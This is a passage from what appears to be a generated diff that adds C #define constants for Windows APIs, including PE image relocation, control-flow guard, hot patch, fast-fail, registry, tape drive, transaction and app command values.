0x7 +#define IMAGE_REL_BASED_MACHINE_SPECIFIC_8 0x8 +#define IMAGE_REL_BASED_MACHINE_SPECIFIC_9 0x9 +#define IMAGE_REL_BASED_DIR64 0xa +#define IMAGE_REL_BASED_IA64_IMM64 0x9 +#define IMAGE_REL_BASED_MIPS_JMPADDR 0x5 +#define IMAGE_REL_BASED_MIPS_JMPADDR16 0x9 +#define IMAGE_REL_BASED_ARM_MOV32 0x5 +#define IMAGE_REL_BASED_THUMB_MOV32 0x7 +#define IMAGE_ARCHIVE_START_SIZE 0x8 +// SKIPPED const IMAGE_ARCHIVE_START: non-integer constant +// SKIPPED const IMAGE_ARCHIVE_END: non-integer constant +// SKIPPED const IMAGE_ARCHIVE_PAD: non-integer constant +// SKIPPED const IMAGE_ARCHIVE_LINKER_MEMBER: non-integer constant +// SKIPPED const IMAGE_ARCHIVE_LONGNAMES_MEMBER: non-integer constant +// SKIPPED const IMAGE_ARCHIVE_HYBRIDMAP_MEMBER: non-integer constant +#define IMAGE_SIZEOF_ARCHIVE_MEMBER_HDR 0x3c +#define IMAGE_ORDINAL_FLAG64 0x8000000000000000 +#define IMAGE_ORDINAL_FLAG32 0x80000000 +#define IMAGE_RESOURCE_NAME_IS_STRING 0x80000000 +#define IMAGE_RESOURCE_DATA_IS_DIRECTORY 0x80000000 +#define IMAGE_DYNAMIC_RELOCATION_GUARD_RF_PROLOGUE 0x1 +#define IMAGE_DYNAMIC_RELOCATION_GUARD_RF_EPILOGUE 0x2 +#define IMAGE_DYNAMIC_RELOCATION_GUARD_IMPORT_CONTROL_TRANSFER 0x3 +#define IMAGE_DYNAMIC_RELOCATION_GUARD_INDIR_CONTROL_TRANSFER 0x4 +#define IMAGE_DYNAMIC_RELOCATION_GUARD_SWITCHTABLE_BRANCH 0x5 +#define IMAGE_DYNAMIC_RELOCATION_FUNCTION_OVERRIDE 0x7 +#define IMAGE_DYNAMIC_RELOCATION_ARM64_KERNEL_IMPORT_CALL_TRANSFER 0x8 +#define IMAGE_DYNAMIC_RELOCATION_IMPORT_CONTROL_TRANSFER 0x3 +#define IMAGE_FUNCTION_OVERRIDE_INVALID 0x0 +#define IMAGE_FUNCTION_OVERRIDE_X64_REL32 0x1 +#define IMAGE_FUNCTION_OVERRIDE_ARM64_BRANCH26 0x2 +#define IMAGE_FUNCTION_OVERRIDE_ARM64_THUNK 0x3 +#define IMAGE_HOT_PATCH_INFO_FLAG_PATCHORDERCRITICAL 0x1 +#define IMAGE_HOT_PATCH_INFO_FLAG_HOTSWAP 0x2 +#define IMAGE_HOT_PATCH_BASE_OBLIGATORY 0x1 +#define IMAGE_HOT_PATCH_BASE_CAN_ROLL_BACK 0x2 +#define IMAGE_HOT_PATCH_BASE_MACHINE_I386 0x4 +#define IMAGE_HOT_PATCH_BASE_MACHINE_ARM64 0x8 +#define IMAGE_HOT_PATCH_BASE_MACHINE_AMD64 0x10 +#define IMAGE_HOT_PATCH_CHUNK_INVERSE 0x80000000 +#define IMAGE_HOT_PATCH_CHUNK_OBLIGATORY 0x40000000 +#define IMAGE_HOT_PATCH_CHUNK_RESERVED 0x3ff03000 +#define IMAGE_HOT_PATCH_CHUNK_TYPE 0xfc000 +#define IMAGE_HOT_PATCH_CHUNK_SOURCE_RVA 0x8000 +#define IMAGE_HOT_PATCH_CHUNK_TARGET_RVA 0x4000 +#define IMAGE_HOT_PATCH_CHUNK_SIZE 0xfff +#define IMAGE_HOT_PATCH_NONE 0x0 +#define IMAGE_HOT_PATCH_FUNCTION 0x1c000 +#define IMAGE_HOT_PATCH_ABSOLUTE 0x2c000 +#define IMAGE_HOT_PATCH_REL32 0x3c000 +#define IMAGE_HOT_PATCH_CALL_TARGET 0x44000 +#define IMAGE_HOT_PATCH_INDIRECT 0x5c000 +#define IMAGE_HOT_PATCH_NO_CALL_TARGET 0x64000 +#define IMAGE_HOT_PATCH_DYNAMIC_VALUE 0x78000 +#define IMAGE_GUARD_CF_INSTRUMENTED 0x100 +#define IMAGE_GUARD_CFW_INSTRUMENTED 0x200 +#define IMAGE_GUARD_CF_FUNCTION_TABLE_PRESENT 0x400 +#define IMAGE_GUARD_SECURITY_COOKIE_UNUSED 0x800 +#define IMAGE_GUARD_PROTECT_DELAYLOAD_IAT 0x1000 +#define IMAGE_GUARD_DELAYLOAD_IAT_IN_ITS_OWN_SECTION 0x2000 +#define IMAGE_GUARD_CF_EXPORT_SUPPRESSION_INFO_PRESENT 0x4000 +#define IMAGE_GUARD_CF_ENABLE_EXPORT_SUPPRESSION 0x8000 +#define IMAGE_GUARD_CF_LONGJUMP_TABLE_PRESENT 0x10000 +#define IMAGE_GUARD_RF_INSTRUMENTED 0x20000 +#define IMAGE_GUARD_RF_ENABLE 0x40000 +#define IMAGE_GUARD_RF_STRICT 0x80000 +#define IMAGE_GUARD_RETPOLINE_PRESENT 0x100000 +#define IMAGE_GUARD_EH_CONTINUATION_TABLE_PRESENT 0x400000 +#define IMAGE_GUARD_XFG_ENABLED 0x800000 +#define IMAGE_GUARD_CASTGUARD_PRESENT 0x1000000 +#define IMAGE_GUARD_MEMCPY_PRESENT 0x2000000 +#define IMAGE_GUARD_CF_FUNCTION_TABLE_SIZE_MASK 0xf0000000 +#define IMAGE_GUARD_CF_FUNCTION_TABLE_SIZE_SHIFT 0x1c +#define IMAGE_GUARD_FLAG_FID_SUPPRESSED 0x1 +#define IMAGE_GUARD_FLAG_EXPORT_SUPPRESSED 0x2 +#define IMAGE_GUARD_FLAG_FID_LANGEXCPTHANDLER 0x4 +#define IMAGE_GUARD_FLAG_FID_XFG 0x8 +#define IMAGE_ENCLAVE_LONG_ID_LENGTH 0x20 +#define IMAGE_ENCLAVE_SHORT_ID_LENGTH 0x10 +#define IMAGE_ENCLAVE_POLICY_DEBUGGABLE 0x1 +#define IMAGE_ENCLAVE_POLICY_STRICT_MEMORY 0x2 +#define IMAGE_ENCLAVE_FLAG_PRIMARY_IMAGE 0x1 +#define IMAGE_ENCLAVE_IMPORT_MATCH_NONE 0x0 +#define IMAGE_ENCLAVE_IMPORT_MATCH_UNIQUE_ID 0x1 +#define IMAGE_ENCLAVE_IMPORT_MATCH_AUTHOR_ID 0x2 +#define IMAGE_ENCLAVE_IMPORT_MATCH_FAMILY_ID 0x3 +#define IMAGE_ENCLAVE_IMPORT_MATCH_IMAGE_ID 0x4 +#define IMAGE_DEBUG_TYPE_OMAP_TO_SRC 0x7 +#define IMAGE_DEBUG_TYPE_OMAP_FROM_SRC 0x8 +#define IMAGE_DEBUG_TYPE_RESERVED10 0xa +#define IMAGE_DEBUG_TYPE_BBT 0xa +#define IMAGE_DEBUG_TYPE_CLSID 0xb +#define IMAGE_DEBUG_TYPE_VC_FEATURE 0xc +#define IMAGE_DEBUG_TYPE_POGO 0xd +#define IMAGE_DEBUG_TYPE_ILTCG 0xe +#define IMAGE_DEBUG_TYPE_MPX 0xf +#define IMAGE_DEBUG_TYPE_REPRO 0x10 +#define IMAGE_DEBUG_TYPE_SPGO 0x12 +#define IMAGE_DEBUG_TYPE_EX_DLLCHARACTERISTICS 0x14 +#define FRAME_FPO 0x0 +#define FRAME_TRAP 0x1 +#define FRAME_TSS 0x2 +#define FRAME_NONFPO 0x3 +#define SIZEOF_RFPO_DATA 0x10 +#define IMAGE_DEBUG_MISC_EXENAME 0x1 +#define IMAGE_SEPARATE_DEBUG_SIGNATURE 0x4944 +#define NON_PAGED_DEBUG_SIGNATURE 0x494e +#define IMAGE_SEPARATE_DEBUG_FLAGS_MASK 0x8000 +#define IMAGE_SEPARATE_DEBUG_MISMATCH 0x8000 +#define IMPORT_OBJECT_HDR_SIG2 0xffff +#define UNWIND_HISTORY_TABLE_SIZE 0xc +#define FAST_FAIL_LEGACY_GS_VIOLATION 0x0 +#define FAST_FAIL_VTGUARD_CHECK_FAILURE 0x1 +#define FAST_FAIL_STACK_COOKIE_CHECK_FAILURE 0x2 +#define FAST_FAIL_CORRUPT_LIST_ENTRY 0x3 +#define FAST_FAIL_INCORRECT_STACK 0x4 +#define FAST_FAIL_INVALID_ARG 0x5 +#define FAST_FAIL_GS_COOKIE_INIT 0x6 +#define FAST_FAIL_FATAL_APP_EXIT 0x7 +#define FAST_FAIL_RANGE_CHECK_FAILURE 0x8 +#define FAST_FAIL_UNSAFE_REGISTRY_ACCESS 0x9 +#define FAST_FAIL_GUARD_ICALL_CHECK_FAILURE 0xa +#define FAST_FAIL_GUARD_WRITE_CHECK_FAILURE 0xb +#define FAST_FAIL_INVALID_FIBER_SWITCH 0xc +#define FAST_FAIL_INVALID_SET_OF_CONTEXT 0xd +#define FAST_FAIL_INVALID_REFERENCE_COUNT 0xe +#define FAST_FAIL_INVALID_JUMP_BUFFER 0x12 +#define FAST_FAIL_MRDATA_MODIFIED 0x13 +#define FAST_FAIL_CERTIFICATION_FAILURE 0x14 +#define FAST_FAIL_INVALID_EXCEPTION_CHAIN 0x15 +#define FAST_FAIL_CRYPTO_LIBRARY 0x16 +#define FAST_FAIL_INVALID_CALL_IN_DLL_CALLOUT 0x17 +#define FAST_FAIL_INVALID_IMAGE_BASE 0x18 +#define FAST_FAIL_DLOAD_PROTECTION_FAILURE 0x19 +#define FAST_FAIL_UNSAFE_EXTENSION_CALL 0x1a +#define FAST_FAIL_DEPRECATED_SERVICE_INVOKED 0x1b +#define FAST_FAIL_INVALID_BUFFER_ACCESS 0x1c +#define FAST_FAIL_INVALID_BALANCED_TREE 0x1d +#define FAST_FAIL_INVALID_NEXT_THREAD 0x1e +#define FAST_FAIL_GUARD_ICALL_CHECK_SUPPRESSED 0x1f +#define FAST_FAIL_APCS_DISABLED 0x20 +#define FAST_FAIL_INVALID_IDLE_STATE 0x21 +#define FAST_FAIL_MRDATA_PROTECTION_FAILURE 0x22 +#define FAST_FAIL_UNEXPECTED_HEAP_EXCEPTION 0x23 +#define FAST_FAIL_INVALID_LOCK_STATE 0x24 +#define FAST_FAIL_GUARD_JUMPTABLE 0x25 +#define FAST_FAIL_INVALID_LONGJUMP_TARGET 0x26 +#define FAST_FAIL_INVALID_DISPATCH_CONTEXT 0x27 +#define FAST_FAIL_INVALID_THREAD 0x28 +#define FAST_FAIL_INVALID_SYSCALL_NUMBER 0x29 +#define FAST_FAIL_INVALID_FILE_OPERATION 0x2a +#define FAST_FAIL_LPAC_ACCESS_DENIED 0x2b +#define FAST_FAIL_GUARD_SS_FAILURE 0x2c +#define FAST_FAIL_LOADER_CONTINUITY_FAILURE 0x2d +#define FAST_FAIL_GUARD_EXPORT_SUPPRESSION_FAILURE 0x2e +#define FAST_FAIL_INVALID_CONTROL_STACK 0x2f +#define FAST_FAIL_SET_CONTEXT_DENIED 0x30 +#define FAST_FAIL_INVALID_IAT 0x31 +#define FAST_FAIL_HEAP_METADATA_CORRUPTION 0x32 +#define FAST_FAIL_PAYLOAD_RESTRICTION_VIOLATION 0x33 +#define FAST_FAIL_LOW_LABEL_ACCESS_DENIED 0x34 +#define FAST_FAIL_ENCLAVE_CALL_FAILURE 0x35 +#define FAST_FAIL_UNHANDLED_LSS_EXCEPTON 0x36 +#define FAST_FAIL_ADMINLESS_ACCESS_DENIED 0x37 +#define FAST_FAIL_UNEXPECTED_CALL 0x38 +#define FAST_FAIL_CONTROL_INVALID_RETURN_ADDRESS 0x39 +#define FAST_FAIL_UNEXPECTED_HOST_BEHAVIOR 0x3a +#define FAST_FAIL_FLAGS_CORRUPTION 0x3b +#define FAST_FAIL_VEH_CORRUPTION 0x3c +#define FAST_FAIL_ETW_CORRUPTION 0x3d +#define FAST_FAIL_RIO_ABORT 0x3e +#define FAST_FAIL_INVALID_PFN 0x3f +#define FAST_FAIL_GUARD_ICALL_CHECK_FAILURE_XFG 0x40 +#define FAST_FAIL_CAST_GUARD 0x41 +#define FAST_FAIL_HOST_VISIBILITY_CHANGE 0x42 +#define FAST_FAIL_KERNEL_CET_SHADOW_STACK_ASSIST 0x43 +#define FAST_FAIL_PATCH_CALLBACK_FAILED 0x44 +#define FAST_FAIL_NTDLL_PATCH_FAILED 0x45 +#define FAST_FAIL_INVALID_FLS_DATA 0x46 +#define FAST_FAIL_ASAN_ERROR 0x47 +#define FAST_FAIL_CLR_EXCEPTION_AOT 0x48 +#define FAST_FAIL_POINTER_AUTH_INVALID_RETURN_ADDRESS 0x49 +#define FAST_FAIL_INVALID_THREAD_STATE 0x4a +#define FAST_FAIL_CORRUPT_WOW64_STATE 0x4b +#define FAST_FAIL_INVALID_EXTENDED_STATE 0x4c +#define FAST_FAIL_KERNEL_POINTER_EXPECTED 0x4d +#define FAST_FAIL_INVALID_FAST_FAIL_CODE 0xffffffff +#define IS_TEXT_UNICODE_DBCS_LEADBYTE 0x400 +#define IS_TEXT_UNICODE_UTF8 0x800 +#define COMPRESSION_ENGINE_STANDARD 0x0 +#define COMPRESSION_ENGINE_MAXIMUM 0x100 +#define COMPRESSION_ENGINE_HIBER 0x200 +#define SEF_AI_USE_EXTRA_PARAMS 0x800 +#define SEF_FORCE_USER_MODE 0x2000 +#define SEF_NORMALIZE_OUTPUT_DESCRIPTOR 0x4000 +#define MESSAGE_RESOURCE_UNICODE 0x1 +#define MESSAGE_RESOURCE_UTF8 0x2 +#define VER_EQUAL 0x1 +#define VER_GREATER 0x2 +#define VER_GREATER_EQUAL 0x3 +#define VER_LESS 0x4 +#define VER_LESS_EQUAL 0x5 +#define VER_AND 0x6 +#define VER_OR 0x7 +#define VER_CONDITION_MASK 0x7 +#define VER_NUM_BITS_PER_CONDITION_MASK 0x3 +#define VER_NT_WORKSTATION 0x1 +#define VER_NT_DOMAIN_CONTROLLER 0x2 +#define VER_NT_SERVER 0x3 +#define RTL_UMS_VERSION 0x100 +#define VRL_PREDEFINED_CLASS_BEGIN 0x1 +#define VRL_CUSTOM_CLASS_BEGIN 0x100 +#define VRL_ENABLE_KERNEL_BREAKS 0x80000000 +#define CTMF_INCLUDE_APPCONTAINER 0x1 +#define CTMF_INCLUDE_LPAC 0x2 +#define FLUSH_NV_MEMORY_IN_FLAG_NO_DRAIN 0x1 +#define WRITE_NV_MEMORY_FLAG_FLUSH 0x1 +#define WRITE_NV_MEMORY_FLAG_NON_TEMPORAL 0x2 +#define WRITE_NV_MEMORY_FLAG_NO_DRAIN 0x100 +#define FILL_NV_MEMORY_FLAG_FLUSH 0x1 +#define FILL_NV_MEMORY_FLAG_NON_TEMPORAL 0x2 +#define FILL_NV_MEMORY_FLAG_NO_DRAIN 0x100 +#define IMAGE_POLICY_METADATA_VERSION 0x1 +// SKIPPED const IMAGE_POLICY_SECTION_NAME: non-integer constant +#define RTL_VIRTUAL_UNWIND2_VALIDATE_PAC 0x1 +#define HEAP_OPTIMIZE_RESOURCES_CURRENT_VERSION 0x1 +#define WT_EXECUTEINUITHREAD 0x2 +#define WT_EXECUTEINPERSISTENTIOTHREAD 0x40 +#define WT_EXECUTEINLONGTHREAD 0x10 +#define WT_EXECUTEDELETEWAIT 0x8 +#define ACTIVATION_CONTEXT_PATH_TYPE_NONE 0x1 +#define ACTIVATION_CONTEXT_PATH_TYPE_WIN32_FILE 0x2 +#define ACTIVATION_CONTEXT_PATH_TYPE_URL 0x3 +#define ACTIVATION_CONTEXT_PATH_TYPE_ASSEMBLYREF 0x4 +#define CREATE_BOUNDARY_DESCRIPTOR_ADD_APPCONTAINER_SID 0x1 +#define PERFORMANCE_DATA_VERSION 0x1 +#define READ_THREAD_PROFILING_FLAG_DISPATCHING 0x1 +#define READ_THREAD_PROFILING_FLAG_HARDWARE_COUNTERS 0x2 +// SKIPPED const UNIFIEDBUILDREVISION_KEY: non-integer constant +// SKIPPED const UNIFIEDBUILDREVISION_VALUE: non-integer constant +#define UNIFIEDBUILDREVISION_MIN 0x0 +// SKIPPED const DEVICEFAMILYDEVICEFORM_KEY: non-integer constant +// SKIPPED const DEVICEFAMILYDEVICEFORM_VALUE: non-integer constant +#define DLL_PROCESS_ATTACH 0x1 +#define DLL_THREAD_ATTACH 0x2 +#define DLL_THREAD_DETACH 0x3 +#define DLL_PROCESS_DETACH 0x0 +#define EVENTLOG_START_PAIRED_EVENT 0x1 +#define EVENTLOG_END_PAIRED_EVENT 0x2 +#define EVENTLOG_END_ALL_PAIRED_EVENTS 0x4 +#define EVENTLOG_PAIRED_EVENT_ACTIVE 0x8 +#define EVENTLOG_PAIRED_EVENT_INACTIVE 0x10 +#define MAXLOGICALLOGNAMESIZE 0x100 +#define REG_REFRESH_HIVE 2 +#define REG_NO_LAZY_FLUSH 4 +#define REG_APP_HIVE 16 +#define REG_PROCESS_PRIVATE 32 +#define REG_START_JOURNAL 64 +#define REG_HIVE_EXACT_FILE_GROWTH 128 +#define REG_HIVE_NO_RM 256 +#define REG_HIVE_SINGLE_LOG 512 +#define REG_BOOT_HIVE 1024 +#define REG_LOAD_HIVE_OPEN_HANDLE 2048 +#define REG_FLUSH_HIVE_FILE_GROWTH 4096 +#define REG_OPEN_READ_ONLY 8192 +#define REG_IMMUTABLE 16384 +#define REG_NO_IMPERSONATION_FALLBACK 32768 +#define REG_APP_HIVE_OPEN_READ_ONLY 8192 +#define REG_FORCE_UNLOAD 0x1 +#define REG_UNLOAD_LEGAL_FLAGS 0x1 +#define SERVICE_USER_SERVICE 0x40 +#define SERVICE_USERSERVICE_INSTANCE 0x80 +#define SERVICE_INTERACTIVE_PROCESS 0x100 +#define SERVICE_PKG_SERVICE 0x200 +#define CM_SERVICE_NETWORK_BOOT_LOAD 0x1 +#define CM_SERVICE_VIRTUAL_DISK_BOOT_LOAD 0x2 +#define CM_SERVICE_USB_DISK_BOOT_LOAD 0x4 +#define CM_SERVICE_SD_DISK_BOOT_LOAD 0x8 +#define CM_SERVICE_USB3_DISK_BOOT_LOAD 0x10 +#define CM_SERVICE_MEASURED_BOOT_LOAD 0x20 +#define CM_SERVICE_VERIFIER_BOOT_LOAD 0x40 +#define CM_SERVICE_WINPE_BOOT_LOAD 0x80 +#define CM_SERVICE_RAM_DISK_BOOT_LOAD 0x100 +#define TAPE_PSEUDO_LOGICAL_POSITION 2 +#define TAPE_PSEUDO_LOGICAL_BLOCK 3 +#define TAPE_DRIVE_FIXED 0x1 +#define TAPE_DRIVE_SELECT 0x2 +#define TAPE_DRIVE_INITIATOR 0x4 +#define TAPE_DRIVE_ERASE_SHORT 0x10 +#define TAPE_DRIVE_ERASE_LONG 0x20 +#define TAPE_DRIVE_ERASE_BOP_ONLY 0x40 +#define TAPE_DRIVE_ERASE_IMMEDIATE 0x80 +#define TAPE_DRIVE_TAPE_CAPACITY 0x100 +#define TAPE_DRIVE_TAPE_REMAINING 0x200 +#define TAPE_DRIVE_FIXED_BLOCK 0x400 +#define TAPE_DRIVE_VARIABLE_BLOCK 0x800 +#define TAPE_DRIVE_WRITE_PROTECT 0x1000 +#define TAPE_DRIVE_EOT_WZ_SIZE 0x2000 +#define TAPE_DRIVE_ECC 0x10000 +#define TAPE_DRIVE_COMPRESSION 0x20000 +#define TAPE_DRIVE_PADDING 0x40000 +#define TAPE_DRIVE_REPORT_SMKS 0x80000 +#define TAPE_DRIVE_GET_ABSOLUTE_BLK 0x100000 +#define TAPE_DRIVE_GET_LOGICAL_BLK 0x200000 +#define TAPE_DRIVE_SET_EOT_WZ_SIZE 0x400000 +#define TAPE_DRIVE_EJECT_MEDIA 0x1000000 +#define TAPE_DRIVE_CLEAN_REQUESTS 0x2000000 +#define TAPE_DRIVE_SET_CMP_BOP_ONLY 0x4000000 +#define TAPE_DRIVE_RESERVED_BIT 0x80000000 +#define TAPE_DRIVE_FORMAT 0xa0000000 +#define TAPE_DRIVE_FORMAT_IMMEDIATE 0xc0000000 +#define TAPE_DRIVE_HIGH_FEATURES 0x80000000 +#define TAPE_QUERY_DRIVE_PARAMETERS 0 +#define TAPE_QUERY_MEDIA_CAPACITY 1 +#define TAPE_CHECK_FOR_DRIVE_PROBLEM 2 +#define TAPE_QUERY_IO_ERROR_DATA 3 +#define TAPE_QUERY_DEVICE_ERROR_DATA 4 +#define TRANSACTIONMANAGER_QUERY_INFORMATION 0x1 +#define TRANSACTIONMANAGER_SET_INFORMATION 0x2 +#define TRANSACTIONMANAGER_RECOVER 0x4 +#define TRANSACTIONMANAGER_RENAME 0x8 +#define TRANSACTIONMANAGER_CREATE_RM 0x10 +#define TRANSACTIONMANAGER_BIND_TRANSACTION 0x20 +#define TRANSACTION_QUERY_INFORMATION 0x1 +#define TRANSACTION_SET_INFORMATION 0x2 +#define TRANSACTION_ENLIST 0x4 +#define TRANSACTION_COMMIT 0x8 +#define TRANSACTION_ROLLBACK 0x10 +#define TRANSACTION_PROPAGATE 0x20 +#define TRANSACTION_RIGHT_RESERVED1 0x40 +#define RESOURCEMANAGER_QUERY_INFORMATION 0x1 +#define RESOURCEMANAGER_SET_INFORMATION 0x2 +#define RESOURCEMANAGER_RECOVER 0x4 +#define RESOURCEMANAGER_ENLIST 0x8 +#define RESOURCEMANAGER_GET_NOTIFICATION 0x10 +#define RESOURCEMANAGER_REGISTER_PROTOCOL 0x20 +#define RESOURCEMANAGER_COMPLETE_PROPAGATION 0x40 +#define ENLISTMENT_QUERY_INFORMATION 0x1 +#define ENLISTMENT_SET_INFORMATION 0x2 +#define ENLISTMENT_RECOVER 0x4 +#define ENLISTMENT_SUBORDINATE_RIGHTS 0x8 +#define ENLISTMENT_SUPERIOR_RIGHTS 0x10 +#define PcTeb 0x18 +#define ACTIVATION_CONTEXT_SECTION_ASSEMBLY_INFORMATION 0x1 +#define ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION 0x2 +#define ACTIVATION_CONTEXT_SECTION_WINDOW_CLASS_REDIRECTION 0x3 +#define ACTIVATION_CONTEXT_SECTION_COM_SERVER_REDIRECTION 0x4 +#define ACTIVATION_CONTEXT_SECTION_COM_INTERFACE_REDIRECTION 0x5 +#define ACTIVATION_CONTEXT_SECTION_COM_TYPE_LIBRARY_REDIRECTION 0x6 +#define ACTIVATION_CONTEXT_SECTION_COM_PROGID_REDIRECTION 0x7 +#define ACTIVATION_CONTEXT_SECTION_GLOBAL_OBJECT_RENAME_TABLE 0x8 +#define ACTIVATION_CONTEXT_SECTION_CLR_SURROGATES 0x9 +#define ACTIVATION_CONTEXT_SECTION_APPLICATION_SETTINGS 0xa +#define ACTIVATION_CONTEXT_SECTION_COMPATIBILITY_INFO 0xb +#define ACTIVATION_CONTEXT_SECTION_WINRT_ACTIVATABLE_CLASSES 0xc +#define ROT_COMPARE_MAX 0x800 +#define WDT_INPROC_CALL 0x48746457 +#define WDT_REMOTE_CALL 0x52746457 +#define WDT_INPROC64_CALL 0x50746457 +#define DECIMAL_NEG 0x80 +#define PROCESS_HEAP_REGION 0x1 +#define PROCESS_HEAP_UNCOMMITTED_RANGE 0x2 +#define PROCESS_HEAP_ENTRY_BUSY 0x4 +#define PROCESS_HEAP_SEG_ALLOC 0x8 +#define PROCESS_HEAP_ENTRY_MOVEABLE 0x10 +#define PROCESS_HEAP_ENTRY_DDESHARE 0x20 +#define LMEM_NOCOMPACT 0x10 +#define LMEM_NODISCARD 0x20 +#define LMEM_MODIFY 0x80 +#define LMEM_DISCARDABLE 0xf00 +#define LMEM_VALID_FLAGS 0xf72 +#define LMEM_INVALID_HANDLE 0x8000 +#define LMEM_DISCARDED 0x4000 +#define LMEM_LOCKCOUNT 0xff +#define NUMA_NO_PREFERRED_NODE 0xffffffff +#define REDBOOK_DIGITAL_AUDIO_EXTRACTION_INFO_VERSION 0x1 +#define IgnoreError 0 +#define NormalError 1 +#define SevereError 2 +#define CriticalError 3 +#define GC_ALLGESTURES 0x1 +#define GC_ZOOM 0x1 +#define GC_PAN 0x1 +#define GC_PAN_WITH_SINGLE_FINGER_VERTICALLY 0x2 +#define GC_PAN_WITH_SINGLE_FINGER_HORIZONTALLY 0x4 +#define GC_PAN_WITH_GUTTER 0x8 +#define GC_PAN_WITH_INERTIA 0x10 +#define GC_ROTATE 0x1 +#define GC_TWOFINGERTAP 0x1 +#define GC_PRESSANDTAP 0x1 +#define GC_ROLLOVER 0x1 +#define SS_LEFT 0x0 +#define SS_CENTER 0x1 +#define SS_RIGHT 0x2 +#define SS_ICON 0x3 +#define SS_BLACKRECT 0x4 +#define SS_GRAYRECT 0x5 +#define SS_WHITERECT 0x6 +#define SS_BLACKFRAME 0x7 +#define SS_GRAYFRAME 0x8 +#define SS_WHITEFRAME 0x9 +#define SS_USERITEM 0xa +#define SS_SIMPLE 0xb +#define SS_LEFTNOWORDWRAP 0xc +#define SS_OWNERDRAW 0xd +#define SS_BITMAP 0xe +#define SS_ENHMETAFILE 0xf +#define SS_ETCHEDHORZ 0x10 +#define SS_ETCHEDVERT 0x11 +#define SS_ETCHEDFRAME 0x12 +#define SS_TYPEMASK 0x1f +#define SS_REALSIZECONTROL 0x40 +#define SS_NOPREFIX 0x80 +#define SS_NOTIFY 0x100 +#define SS_CENTERIMAGE 0x200 +#define SS_RIGHTJUST 0x400 +#define SS_REALSIZEIMAGE 0x800 +#define SS_SUNKEN 0x1000 +#define SS_EDITCONTROL 0x2000 +#define SS_ENDELLIPSIS 0x4000 +#define SS_PATHELLIPSIS 0x8000 +#define SS_WORDELLIPSIS 0xc000 +#define SS_ELLIPSISMASK 0xc000 +#define COMIMAGE_FLAGS_ILONLY 1 +#define COMIMAGE_FLAGS_32BITREQUIRED 2 +#define COMIMAGE_FLAGS_IL_LIBRARY 4 +#define COMIMAGE_FLAGS_STRONGNAMESIGNED 8 +#define COMIMAGE_FLAGS_NATIVE_ENTRYPOINT 16 +#define COMIMAGE_FLAGS_TRACKDEBUGDATA 65536 +#define COMIMAGE_FLAGS_32BITPREFERRED 131072 +#define COR_VERSION_MAJOR_V2 2 +#define COR_VERSION_MAJOR 2 +#define COR_VERSION_MINOR 5 +#define COR_DELETED_NAME_LENGTH 8 +#define COR_VTABLEGAP_NAME_LENGTH 8 +#define NATIVE_TYPE_MAX_CB 1 +#define COR_ILMETHOD_SECT_SMALL_MAX_DATASIZE 255 +#define IMAGE_COR_MIH_METHODRVA 1 +#define IMAGE_COR_MIH_EHRVA 2 +#define IMAGE_COR_MIH_BASICBLOCK 8 +#define COR_VTABLE_32BIT 1 +#define COR_VTABLE_64BIT 2 +#define COR_VTABLE_FROM_UNMANAGED 4 +#define COR_VTABLE_FROM_UNMANAGED_RETAIN_APPDOMAIN 8 +#define COR_VTABLE_CALL_MOST_DERIVED 16 +#define IMAGE_COR_EATJ_THUNK_SIZE 32 +#define MAX_CLASS_NAME 1024 +#define MAX_PACKAGE_NAME 1024 +#define MK_LBUTTON 0x1 +#define MK_RBUTTON 0x2 +#define MK_SHIFT 0x4 +#define MK_CONTROL 0x8 +#define MK_MBUTTON 0x10 +#define MK_XBUTTON1 0x20 +#define MK_XBUTTON2 0x40 +#define KTMOBJECT_TRANSACTION 0 +#define KTMOBJECT_TRANSACTION_MANAGER 1 +#define KTMOBJECT_RESOURCE_MANAGER 2 +#define KTMOBJECT_ENLISTMENT 3 +#define KTMOBJECT_INVALID 4 +#define RuntimeReportTypeDriver 0 +#define RuntimeReportTypeMax 1 +#define ATF_TIMEOUTON 0x1 +#define ATF_ONOFFFEEDBACK 0x2 +#define ENERGY_SAVER_OFF 0 +#define ENERGY_SAVER_STANDARD 1 +#define ENERGY_SAVER_HIGH_SAVINGS 2 +#define PowerMonitorOff 0 +#define PowerMonitorOn 1 +#define PowerMonitorDim 2 +#define APPCOMMAND_BROWSER_BACKWARD 0x1 +#define APPCOMMAND_BROWSER_FORWARD 0x2 +#define APPCOMMAND_BROWSER_REFRESH 0x3 +#define APPCOMMAND_BROWSER_STOP 0x4 +#define APPCOMMAND_BROWSER_SEARCH 0x5 +#define APPCOMMAND_BROWSER_FAVORITES 0x6 +#define APPCOMMAND_BROWSER_HOME 0x7 +#define APPCOMMAND_VOLUME_MUTE 0x8 +#define APPCOMMAND_VOLUME_DOWN 0x9 +#define APPCOMMAND_VOLUME_UP 0xa +#define APPCOMMAND_MEDIA_NEXTTRACK 0xb +#define APPCOMMAND_MEDIA_PREVIOUSTRACK 0xc +#define APPCOMMAND_MEDIA_STOP 0xd +#define APPCOMMAND_MEDIA_PLAY_PAUSE 0xe +#define APPCOMMAND_LAUNCH_MAIL 0xf +#define APPCOMMAND_LAUNCH_MEDIA_SELECT 0x10 +#define APPCOMMAND_LAUNCH_APP1 0x11 +#define APPCOMMAND_LAUNCH_APP2 0x12 +#define APPCOMMAND_BASS_DOWN 0x13 +#define APPCOMMAND_BASS_BOOST 0x14 +#define APPCOMMAND_BASS_UP 0x15 +#define APPCOMMAND_TREBLE_DOWN 0x16 +#define APPCOMMAND_TREBLE_UP 0x17 +#define APPCOMMAND_MICROPHONE_VOLUME_MUTE 0x18 +#define APPCOMMAND_MICROPHONE_VOLUME_DOWN 0x19 +#define APPCOMMAND_MICROPHONE_VOLUME_UP 0x1a +#define APPCOMMAND_HELP 0x1b +#define APPCOMMAND_FIND 0x1c +#define APPCOMMAND_NEW 0x1d +#define APPCOMMAND_OPEN 0x1e +#define APPCOMMAND_CLOSE 0x1f +#define APPCOMMAND_SAVE 0x20 +#define APPCOMMAND_PRINT 0x21 +#define APPCOMMAND_UNDO 0x22 +#define APPCOMMAND_REDO 0x23 +#define APPCOMMAND_COPY 0x24 +#define APPCOMMAND_CUT 0x25 +#define APPCOMMAND_PASTE 0x26 +#define APPCOMMAND_REPLY_TO_MAIL 0x27 +#define APPCOMMAND_FORWARD_MAIL 0x28 +#define APPCOMMAND_SEND_MAIL 0x29 +#define APPCOMMAND_SPELL_CHECK 0x2a +#define APPCOMMAND_DICTATE_OR_COMMAND_CONTROL_TOGGLE 0x2b +#define APPCOMMAND_MIC_ON_OFF_TOGGLE 0x2c +#define 